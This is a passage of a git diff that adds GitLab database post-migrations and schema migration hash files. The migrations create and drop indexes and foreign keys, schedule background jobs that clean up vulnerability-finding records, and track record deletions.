+class RemovePropagateServiceTemplateWorker < Gitlab::Database::Migration[1.0]
+ def up
+ Sidekiq::Queue.new('propagate_service_template').clear
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211104165220_remove_vulnerability_finding_links.rb b/db/post_migrate/20211104165220_remove_vulnerability_finding_links.rb
new file mode 100644
index 00000000000..fc50aa812a7
--- /dev/null
+++ b/db/post_migrate/20211104165220_remove_vulnerability_finding_links.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class RemoveVulnerabilityFindingLinks < Gitlab::Database::Migration[1.0]
+ BATCH_SIZE = 50_000
+ MIGRATION = 'RemoveVulnerabilityFindingLinks'
+
+ disable_ddl_transaction!
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('vulnerability_finding_links'),
+ MIGRATION,
+ 2.minutes,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ # no ops
+ end
+end
diff --git a/db/post_migrate/20211110143306_add_not_null_constraint_to_security_findings_uuid.rb b/db/post_migrate/20211110143306_add_not_null_constraint_to_security_findings_uuid.rb
new file mode 100644
index 00000000000..bdb8f5cd120
--- /dev/null
+++ b/db/post_migrate/20211110143306_add_not_null_constraint_to_security_findings_uuid.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddNotNullConstraintToSecurityFindingsUuid < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_not_null_constraint(
+ :security_findings,
+ :uuid,
+ validate: false
+ )
+ end
+
+ def down
+ remove_not_null_constraint(
+ :security_findings,
+ :uuid
+ )
+ end
+end
diff --git a/db/post_migrate/20211110151320_add_temporary_index_on_security_findings_uuid.rb b/db/post_migrate/20211110151320_add_temporary_index_on_security_findings_uuid.rb
new file mode 100644
index 00000000000..7bc4af0ec4d
--- /dev/null
+++ b/db/post_migrate/20211110151320_add_temporary_index_on_security_findings_uuid.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddTemporaryIndexOnSecurityFindingsUuid < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = "tmp_index_uuid_is_null"
+
+ def up
+ add_concurrent_index(
+ :security_findings,
+ :id,
+ where: "uuid IS NULL",
+ name: INDEX_NAME
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name(
+ :security_findings,
+ INDEX_NAME
+ )
+ end
+end
diff --git a/db/post_migrate/20211110151350_schedule_drop_invalid_security_findings.rb b/db/post_migrate/20211110151350_schedule_drop_invalid_security_findings.rb
new file mode 100644
index 00000000000..98e7b2a8a15
--- /dev/null
+++ b/db/post_migrate/20211110151350_schedule_drop_invalid_security_findings.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class ScheduleDropInvalidSecurityFindings < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ MIGRATION = "DropInvalidSecurityFindings"
+ DELAY_INTERVAL = 2.minutes.to_i
+ BATCH_SIZE = 100_000
+ SUB_BATCH_SIZE = 10_000
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('security_findings').where(uuid: nil),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ other_job_arguments: [SUB_BATCH_SIZE],
+ track_jobs: true
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211116091751_change_namespace_type_default_to_user.rb b/db/post_migrate/20211116091751_change_namespace_type_default_to_user.rb
new file mode 100644
index 00000000000..468b26e9eb1
--- /dev/null
+++ b/db/post_migrate/20211116091751_change_namespace_type_default_to_user.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ChangeNamespaceTypeDefaultToUser < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ change_column_default :namespaces, :type, 'User'
+ end
+ end
+
+ def down
+ with_lock_retries do
+ change_column_default :namespaces, :type, nil
+ end
+ end
+end
diff --git a/db/post_migrate/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb b/db/post_migrate/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb
new file mode 100644
index 00000000000..0424d32a81e
--- /dev/null
+++ b/db/post_migrate/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class ScheduleRemoveOccurrencePipelinesAndDuplicateVulnerabilitiesFindings < Gitlab::Database::Migration[1.0]
+ MIGRATION = 'RemoveOccurrencePipelinesAndDuplicateVulnerabilitiesFindings'
+ DELAY_INTERVAL = 2.minutes.to_i
+ BATCH_SIZE = 10_000
+
+ disable_ddl_transaction!
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('vulnerability_occurrences'),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ track_jobs: true
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211117084814_migrate_remaining_u2f_registrations.rb b/db/post_migrate/20211117084814_migrate_remaining_u2f_registrations.rb
new file mode 100644
index 00000000000..ae9dba32a4a
--- /dev/null
+++ b/db/post_migrate/20211117084814_migrate_remaining_u2f_registrations.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class MigrateRemainingU2fRegistrations < Gitlab::Database::Migration[1.0]
+ BATCH_SIZE = 100
+
+ disable_ddl_transaction!
+
+ def up
+ # We expect only a few number of records satisfying these conditions.
+ # on gitlab.com database, this number is 70 as on 17th Nov, 2021.
+ define_batchable_model('u2f_registrations')
+ .joins("LEFT JOIN webauthn_registrations ON webauthn_registrations.u2f_registration_id = u2f_registrations.id")
+ .where(webauthn_registrations: { u2f_registration_id: nil })
+ .each_batch(of: BATCH_SIZE) do |batch, index|
+ batch.each do |record|
+ Gitlab::BackgroundMigration::MigrateU2fWebauthn.new.perform(record.id, record.id)
+ rescue StandardError => e
+ Gitlab::ErrorTracking.track_exception(e, u2f_registration_id: record.id)
+ end
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211118130836_drop_pages_deployments_builds_fk.rb b/db/post_migrate/20211118130836_drop_pages_deployments_builds_fk.rb
new file mode 100644
index 00000000000..5eb532f2a00
--- /dev/null
+++ b/db/post_migrate/20211118130836_drop_pages_deployments_builds_fk.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class DropPagesDeploymentsBuildsFk < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ FK_NAME = 'fk_rails_c3a90cf29b'
+
+ def up
+ remove_foreign_key_if_exists(:pages_deployments, :ci_builds, name: FK_NAME)
+ end
+
+ def down
+ add_concurrent_foreign_key(
+ :pages_deployments,
+ :ci_builds,
+ name: FK_NAME,
+ column: :ci_build_id,
+ target_column: :id,
+ on_delete: :nullify
+ )
+ end
+end
diff --git a/db/post_migrate/20211118194239_drop_invalid_remediations.rb b/db/post_migrate/20211118194239_drop_invalid_remediations.rb
new file mode 100644
index 00000000000..93edde87936
--- /dev/null
+++ b/db/post_migrate/20211118194239_drop_invalid_remediations.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class DropInvalidRemediations < Gitlab::Database::Migration[1.0]
+ BATCH_SIZE = 3_000
+ DELAY_INTERVAL = 3.minutes
+ MIGRATION_NAME = 'DropInvalidRemediations'
+ DAY_PRIOR_TO_BUG_INTRODUCTION = DateTime.new(2021, 8, 1, 0, 0, 0)
+
+ disable_ddl_transaction!
+
+ def up
+ return unless Gitlab.ee?
+
+ relation = Gitlab::BackgroundMigration::DropInvalidRemediations::FindingRemediation.where("created_at > ?", DAY_PRIOR_TO_BUG_INTRODUCTION)
+ queue_background_migration_jobs_by_range_at_intervals(relation,
+ MIGRATION_NAME,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ track_jobs: true)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211119085036_add_text_limit_to_job_artifact_original_filename.rb b/db/post_migrate/20211119085036_add_text_limit_to_job_artifact_original_filename.rb
new file mode 100644
index 00000000000..3eccbb1b3a4
--- /dev/null
+++ b/db/post_migrate/20211119085036_add_text_limit_to_job_artifact_original_filename.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddTextLimitToJobArtifactOriginalFilename < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :ci_job_artifacts, :original_filename, 512
+ end
+
+ def down
+ remove_text_limit :ci_job_artifacts, :original_filename
+ end
+end
diff --git a/db/post_migrate/20211122033501_improve_index_on_events_for_calendar.rb b/db/post_migrate/20211122033501_improve_index_on_events_for_calendar.rb
new file mode 100644
index 00000000000..517e0f08d6a
--- /dev/null
+++ b/db/post_migrate/20211122033501_improve_index_on_events_for_calendar.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class ImproveIndexOnEventsForCalendar < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'index_events_author_id_project_id_action_target_type_created_at'
+
+ def up
+ prepare_async_index :events, [:author_id, :project_id, :action, :target_type, :created_at], name: INDEX_NAME
+ end
+
+ def down
+ unprepare_async_index :events, [:author_id, :project_id, :action, :target_type, :created_at], name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211122193948_cleanup_background_migration_of_requirements_to_work_items.rb b/db/post_migrate/20211122193948_cleanup_background_migration_of_requirements_to_work_items.rb
new file mode 100644
index 00000000000..df4867d6ae7
--- /dev/null
+++ b/db/post_migrate/20211122193948_cleanup_background_migration_of_requirements_to_work_items.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class CleanupBackgroundMigrationOfRequirementsToWorkItems < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ MIGRATION = 'MigrateRequirementsToWorkItems'
+
+ disable_ddl_transaction!
+
+ def up
+ finalize_background_migration(MIGRATION)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211124132705_change_index_users_on_public_email.rb b/db/post_migrate/20211124132705_change_index_users_on_public_email.rb
new file mode 100644
index 00000000000..6e74a325033
--- /dev/null
+++ b/db/post_migrate/20211124132705_change_index_users_on_public_email.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class ChangeIndexUsersOnPublicEmail < Gitlab::Database::Migration[1.0]
+ INDEX_NAME = 'index_users_on_public_email'
+ INDEX_EXCLUDING_NULL_NAME = 'index_users_on_public_email_excluding_null_and_empty'
+
+ disable_ddl_transaction!
+
+ def up
+ index_condition = "public_email != '' AND public_email IS NOT NULL"
+
+ add_concurrent_index :users, [:public_email], where: index_condition, name: INDEX_EXCLUDING_NULL_NAME
+ remove_concurrent_index_by_name :users, INDEX_NAME
+ end
+
+ def down
+ index_condition = "public_email != ''"
+
+ add_concurrent_index :users, [:public_email], where: index_condition, name: INDEX_NAME
+ remove_concurrent_index_by_name :users, INDEX_EXCLUDING_NULL_NAME
+ end
+end
diff --git a/db/post_migrate/20211125120444_add_index_todos_project_id_user_id.rb b/db/post_migrate/20211125120444_add_index_todos_project_id_user_id.rb
new file mode 100644
index 00000000000..5cc78fc75c4
--- /dev/null
+++ b/db/post_migrate/20211125120444_add_index_todos_project_id_user_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexTodosProjectIdUserId < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_todos_on_project_id_and_user_id_and_id'
+
+ def up
+ add_concurrent_index :todos, [:project_id, :user_id, :id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :todos, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211130165043_backfill_sequence_column_for_sprints_table.rb b/db/post_migrate/20211130165043_backfill_sequence_column_for_sprints_table.rb
new file mode 100644
index 00000000000..420bfb8bcbc
--- /dev/null
+++ b/db/post_migrate/20211130165043_backfill_sequence_column_for_sprints_table.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class BackfillSequenceColumnForSprintsTable < Gitlab::Database::Migration[1.0]
+ enable_lock_retries!
+
+ def up
+ execute(
+ <<-SQL
+ UPDATE sprints
+ SET sequence=t.row_number
+ FROM (
+ SELECT id, row_number() OVER (PARTITION BY iterations_cadence_id ORDER BY start_date)
+ FROM sprints as s1
+ WHERE s1.iterations_cadence_id IS NOT NULL
+ ) as t
+ WHERE t.id=sprints.id AND (sprints.sequence IS NULL OR sprints.sequence <> t.row_number)
+ SQL
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211130201100_track_deletions_in_namespaces.rb b/db/post_migrate/20211130201100_track_deletions_in_namespaces.rb
new file mode 100644
index 00000000000..e688e0b467d
--- /dev/null
+++ b/db/post_migrate/20211130201100_track_deletions_in_namespaces.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackDeletionsInNamespaces < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:namespaces)
+ end
+
+ def down
+ untrack_record_deletions(:namespaces)
+ end
+end
diff --git a/db/post_migrate/20211130201101_track_deletions_in_projects.rb b/db/post_migrate/20211130201101_track_deletions_in_projects.rb
new file mode 100644
index 00000000000..dfe7ab4c037
--- /dev/null
+++ b/db/post_migrate/20211130201101_track_deletions_in_projects.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackDeletionsInProjects < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:projects)
+ end
+
+ def down
+ untrack_record_deletions(:projects)
+ end
+end
diff --git a/db/post_migrate/20211201101541_drop_clusters_applications_runners_ci_runners_fk.rb b/db/post_migrate/20211201101541_drop_clusters_applications_runners_ci_runners_fk.rb
new file mode 100644
index 00000000000..9a02f64e350
--- /dev/null
+++ b/db/post_migrate/20211201101541_drop_clusters_applications_runners_ci_runners_fk.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class DropClustersApplicationsRunnersCiRunnersFk < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ remove_foreign_key_if_exists(:clusters_applications_runners, :ci_runners, name: 'fk_02de2ded36')
+ end
+ end
+
+ def down
+ add_concurrent_foreign_key(:clusters_applications_runners, :ci_runners, name: 'fk_02de2ded36', column: :runner_id, target_column: :id, on_delete: 'set null')
+ end
+end
diff --git a/db/post_migrate/20211202145237_add_todos_project_and_id_index.rb b/db/post_migrate/20211202145237_add_todos_project_and_id_index.rb
new file mode 100644
index 00000000000..69f7822c057
--- /dev/null
+++ b/db/post_migrate/20211202145237_add_todos_project_and_id_index.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddTodosProjectAndIdIndex < Gitlab::Database::Migration[1.0]
+ # When using the methods "add_concurrent_index" or "remove_concurrent_index"
+ # you must disable the use of transactions
+ # as these methods can not run in an existing transaction.
+ # When using "add_concurrent_index" or "remove_concurrent_index" methods make sure
+ # that either of them is the _only_ method called in the migration,
+ # any other changes should go in a separate migration.
+ # This ensures that upon failure _only_ the index creation or removing fails
+ # and can be retried or reverted easily.
+ #
+ # To disable transactions uncomment the following line and remove these
+ # comments:
+ disable_ddl_transaction!
+
+ NEW_INDEX_NAME = 'index_todos_on_project_id_and_id'
+ OLD_INDEX_NAME = 'index_todos_on_project_id'
+
+ def up
+ add_concurrent_index :todos, [:project_id, :id], name: NEW_INDEX_NAME
+ remove_concurrent_index_by_name :todos, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :todos, :project_id, name: OLD_INDEX_NAME
+ remove_concurrent_index_by_name :todos, NEW_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211203091642_add_index_to_projects_on_marked_for_deletion_at.rb b/db/post_migrate/20211203091642_add_index_to_projects_on_marked_for_deletion_at.rb
new file mode 100644
index 00000000000..56b0df1f393
--- /dev/null
+++ b/db/post_migrate/20211203091642_add_index_to_projects_on_marked_for_deletion_at.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexToProjectsOnMarkedForDeletionAt < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_projects_not_aimed_for_deletion'
+
+ def up
+ add_concurrent_index :projects, :id, where: 'marked_for_deletion_at IS NULL', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :projects, :id, name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211206073851_create_calendar_events_index_synchronously.rb b/db/post_migrate/20211206073851_create_calendar_events_index_synchronously.rb
new file mode 100644
index 00000000000..020dceac004
--- /dev/null
+++ b/db/post_migrate/20211206073851_create_calendar_events_index_synchronously.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class CreateCalendarEventsIndexSynchronously < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_events_author_id_project_id_action_target_type_created_at'
+
+ def up
+ add_concurrent_index :events, [:author_id, :project_id, :action, :target_type, :created_at], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :events, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211206074547_remove_old_calendar_events_index.rb b/db/post_migrate/20211206074547_remove_old_calendar_events_index.rb
new file mode 100644
index 00000000000..51460a9dc95
--- /dev/null
+++ b/db/post_migrate/20211206074547_remove_old_calendar_events_index.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class RemoveOldCalendarEventsIndex < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ OLD_INDEX_NAME = 'index_events_on_author_id_and_project_id'
+
+ def up
+ remove_concurrent_index_by_name :events, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :events, [:author_id, :project_id], name: OLD_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211207090503_cleanup_first_mentioned_in_commit_jobs.rb b/db/post_migrate/20211207090503_cleanup_first_mentioned_in_commit_jobs.rb
new file mode 100644
index 00000000000..3788a680fb6
--- /dev/null
+++ b/db/post_migrate/20211207090503_cleanup_first_mentioned_in_commit_jobs.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class CleanupFirstMentionedInCommitJobs < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ MIGRATION = 'FixFirstMentionedInCommitAt'
+ INDEX_NAME = 'index_issue_metrics_first_mentioned_in_commit'
+
+ def up
+ finalize_background_migration(MIGRATION)
+
+ remove_concurrent_index_by_name :issue_metrics, name: INDEX_NAME
+ end
+
+ def down
+ # Handles reported schema inconsistencies (column with or without timezone)
+ # We did the same in db/post_migrate/20211004110500_add_temporary_index_to_issue_metrics.rb
+ condition = Gitlab::BackgroundMigration::FixFirstMentionedInCommitAt::TmpIssueMetrics
+ .first_mentioned_in_commit_at_condition
+ add_concurrent_index :issue_metrics, :issue_id, where: condition, name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211208171402_reschedule_recalculate_vulnerability_finding_signatures_for_findings.rb b/db/post_migrate/20211208171402_reschedule_recalculate_vulnerability_finding_signatures_for_findings.rb
new file mode 100644
index 00000000000..8eee082809b
--- /dev/null
+++ b/db/post_migrate/20211208171402_reschedule_recalculate_vulnerability_finding_signatures_for_findings.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class RescheduleRecalculateVulnerabilityFindingSignaturesForFindings < Gitlab::Database::Migration[1.0]
+ MIGRATION = 'RecalculateVulnerabilityFindingSignaturesForFindings'
+ BATCH_SIZE = 1_000
+ DELAY_INTERVAL = 2.minutes
+
+ disable_ddl_transaction!
+
+ # Due to production incident previous migration was orphaned and must be rescheduled,
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72919#note_741188600
+ def up
+ return unless Gitlab.ee?
+
+ delete_queued_jobs(MIGRATION)
+
+ requeue_background_migration_jobs_by_range_at_intervals(
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20211209093636_track_ci_job_artifacts_deletes.rb b/db/post_migrate/20211209093636_track_ci_job_artifacts_deletes.rb
new file mode 100644
index 00000000000..8c95c76d1fe
--- /dev/null
+++ b/db/post_migrate/20211209093636_track_ci_job_artifacts_deletes.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackCiJobArtifactsDeletes < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:ci_job_artifacts)
+ end
+
+ def down
+ untrack_record_deletions(:ci_job_artifacts)
+ end
+end
diff --git a/db/post_migrate/20211209093828_track_users_deletes.rb b/db/post_migrate/20211209093828_track_users_deletes.rb
new file mode 100644
index 00000000000..e25a8a36cb2
--- /dev/null
+++ b/db/post_migrate/20211209093828_track_users_deletes.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackUsersDeletes < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:users)
+ end
+
+ def down
+ untrack_record_deletions(:users)
+ end
+end
diff --git a/db/post_migrate/20211209093923_track_external_pull_requests_deletes.rb b/db/post_migrate/20211209093923_track_external_pull_requests_deletes.rb
new file mode 100644
index 00000000000..cd8a6baf407
--- /dev/null
+++ b/db/post_migrate/20211209093923_track_external_pull_requests_deletes.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackExternalPullRequestsDeletes < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:external_pull_requests)
+ end
+
+ def down
+ untrack_record_deletions(:external_pull_requests)
+ end
+end
diff --git a/db/post_migrate/20211209094222_track_merge_requests_deletes.rb b/db/post_migrate/20211209094222_track_merge_requests_deletes.rb
new file mode 100644
index 00000000000..51007082e9e
--- /dev/null
+++ b/db/post_migrate/20211209094222_track_merge_requests_deletes.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class TrackMergeRequestsDeletes < Gitlab::Database::Migration[1.0]
+ include Gitlab::Database::MigrationHelpers::LooseForeignKeyHelpers
+
+ enable_lock_retries!
+
+ def up
+ track_record_deletions(:merge_requests)
+ end
+
+ def down
+ untrack_record_deletions(:merge_requests)
+ end
+end
diff --git a/db/post_migrate/20211210173137_remove_vulnerability_finding_links_again.rb b/db/post_migrate/20211210173137_remove_vulnerability_finding_links_again.rb
new file mode 100644
index 00000000000..98ac4433193
--- /dev/null
+++ b/db/post_migrate/20211210173137_remove_vulnerability_finding_links_again.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class RemoveVulnerabilityFindingLinksAgain < Gitlab::Database::Migration[1.0]
+ BATCH_SIZE = 50_000
+ MIGRATION = 'RemoveVulnerabilityFindingLinks'
+
+ disable_ddl_transaction!
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('vulnerability_finding_links'),
+ MIGRATION,
+ 2.minutes,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ # no ops
+ end
+end
diff --git a/db/post_migrate/20211213064821_add_agent_id_location_index_to_vulnerability_occurrences.rb b/db/post_migrate/20211213064821_add_agent_id_location_index_to_vulnerability_occurrences.rb
new file mode 100644
index 00000000000..92b5a1b085c
--- /dev/null
+++ b/db/post_migrate/20211213064821_add_agent_id_location_index_to_vulnerability_occurrences.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddAgentIdLocationIndexToVulnerabilityOccurrences < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_vulnerability_occurrences_on_location_agent_id'
+
+ def up
+ add_concurrent_index :vulnerability_occurrences, "(location -> 'agent_id')",
+ using: 'GIN',
+ where: 'report_type = 7',
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerability_occurrences, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20211213102111_drop_ci_pipelines_mr_metrics_fk.rb b/db/post_migrate/20211213102111_drop_ci_pipelines_mr_metrics_fk.rb
new file mode 100644
index 00000000000..49f498c911d
--- /dev/null
+++ b/db/post_migrate/20211213102111_drop_ci_pipelines_mr_metrics_fk.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class DropCiPipelinesMrMetricsFk < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ remove_foreign_key_if_exists(:merge_request_metrics, :ci_pipelines, name: "fk_rails_33ae169d48")
+ end
+ end
+
+ def down
+ add_concurrent_foreign_key(:merge_request_metrics, :ci_pipelines, name: "fk_rails_33ae169d48", column: :pipeline_id, target_column: :id, on_delete: "cascade")
+ end
+end
diff --git a/db/post_migrate/20211215090620_schedule_update_timelogs_null_spent_at.rb b/db/post_migrate/20211215090620_schedule_update_timelogs_null_spent_at.rb
new file mode 100644
index 00000000000..5876d3f8a9a
--- /dev/null
+++ b/db/post_migrate/20211215090620_schedule_update_timelogs_null_spent_at.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class ScheduleUpdateTimelogsNullSpentAt < Gitlab::Database::Migration[1.0]
+ DOWNTIME = false
+ BATCH_SIZE = 5_000
+ DELAY_INTERVAL = 2.minutes
+ MIGRATION = 'UpdateTimelogsNullSpentAt'
+
+ disable_ddl_transaction!
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('timelogs').where(spent_at: nil),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/schema_migrations/20210713042000 b/db/schema_migrations/20210713042000
new file mode 100644
index 00000000000..ed775d6e188
--- /dev/null
+++ b/db/schema_migrations/20210713042000
@@ -0,0 +1 @@
+ede336cca4f5d692fb9fccb60db7846a917d887412a10699e818a6caf0ef6a45 \ No newline at end of file
diff --git a/db/schema_migrations/20211008043855 b/db/schema_migrations/20211008043855
new file mode 100644
index 00000000000..0abc8393efa
--- /dev/null
+++ b/db/schema_migrations/20211008043855
@@ -0,0 +1 @@
+166ae24ae4856488c81a71c650dca038c8cd7cb2221545e84431e118da097688 \ No newline at end of file
diff --git a/db/schema_migrations/20211011140930 b/db/schema_migrations/20211011140930
new file mode 100644
index 00000000000..6347ee5d51d
--- /dev/null
+++ b/db/schema_migrations/20211011140930
@@ -0,0 +1 @@
+cdae819e8de3b5ad721014376bfd9af97a45e953e2d345daf62784f986a5eb31 \ No newline at end of file
diff --git a/db/schema_migrations/20211011140931 b/db/schema_migrations/20211011140931
new file mode 100644
index 00000000000..c959d97074e
--- /dev/null
+++ b/db/schema_migrations/20211011140931
@@ -0,0 +1 @@
+7e51eb4443fd74da9bef4d9c1c3cc40376c311abbc05ca7871f725fada79b48a \ No newline at end of file
diff --git a/db/schema_migrations/20211011140932 b/db/schema_migrations/20211011140932
new file mode 100644
index 00000000000..af0e000b9f3
--- /dev/null
+++ b/db/schema_migrations/20211011140932
@@ -0,0 +1 @@
+0209db1e7be48bcbf0e52b451d37da0ef2ecadd567cdfa47907fc5032c258a27 \ No newline at end of file
diff --git a/db/schema_migrations/20211011141239 b/db/schema_migrations/20211011141239
new file mode 100644
index 00000000000..f215f234a7e
--- /dev/null
+++ b/db/schema_migrations/20211011141239
@@ -0,0 +1 @@
+bc0ae055b331801fbe020c12a66e4e6ae790780121bfd66fd161093c94c7a84a \ No newline at end of file
diff --git a/db/schema_migrations/20211011141242 b/db/schema_migrations/20211011141242
new file mode 100644
index 00000000000..01d082a4bc8
--- /dev/null
+++ b/db/schema_migrations/20211011141242
@@ -0,0 +1 @@
+9fd4977cdb57df827fe1a01f55a305d832ee4240d40af9396e093e3b4dbd1e33 \ No newline at end of file
diff --git a/db/schema_migrations/20211011141243 b/db/schema_migrations/20211011141243
new file mode 100644
index 00000000000..cb2df22b8d7
--- /dev/null
+++ b/db/schema_migrations/20211011141243
@@ -0,0 +1 @@
+b3ce6aa41c70cdcf8637a94c3d4d4e97730899221530f5507c4581aaf2fc3a6c \ No newline at end of file
diff --git a/db/schema_migrations/20211022214523 b/db/schema_migrations/20211022214523
new file mode 100644
index 00000000000..b47f13696b0
--- /dev/null
+++ b/db/schema_migrations/20211022214523
@@ -0,0 +1 @@
+b372da05f40fa67680b6a28ddf9bed3dc4b95795c144bf4367e4826b5cd64d6b \ No newline at end of file
diff --git a/db/schema_migrations/20211023102243 b/db/schema_migrations/20211023102243
new file mode 100644
index 00000000000..ec507da6b47
--- /dev/null
+++ b/db/schema_migrations/20211023102243
@@ -0,0 +1 @@
+f5039be0bd028dab4f2623fe9997a95d50bd9020ffd8b92074418024cda39b6a \ No newline at end of file
diff --git a/db/schema_migrations/20211027043206 b/db/schema_migrations/20211027043206
new file mode 100644
index 00000000000..7387484a118
--- /dev/null
+++ b/db/schema_migrations/20211027043206
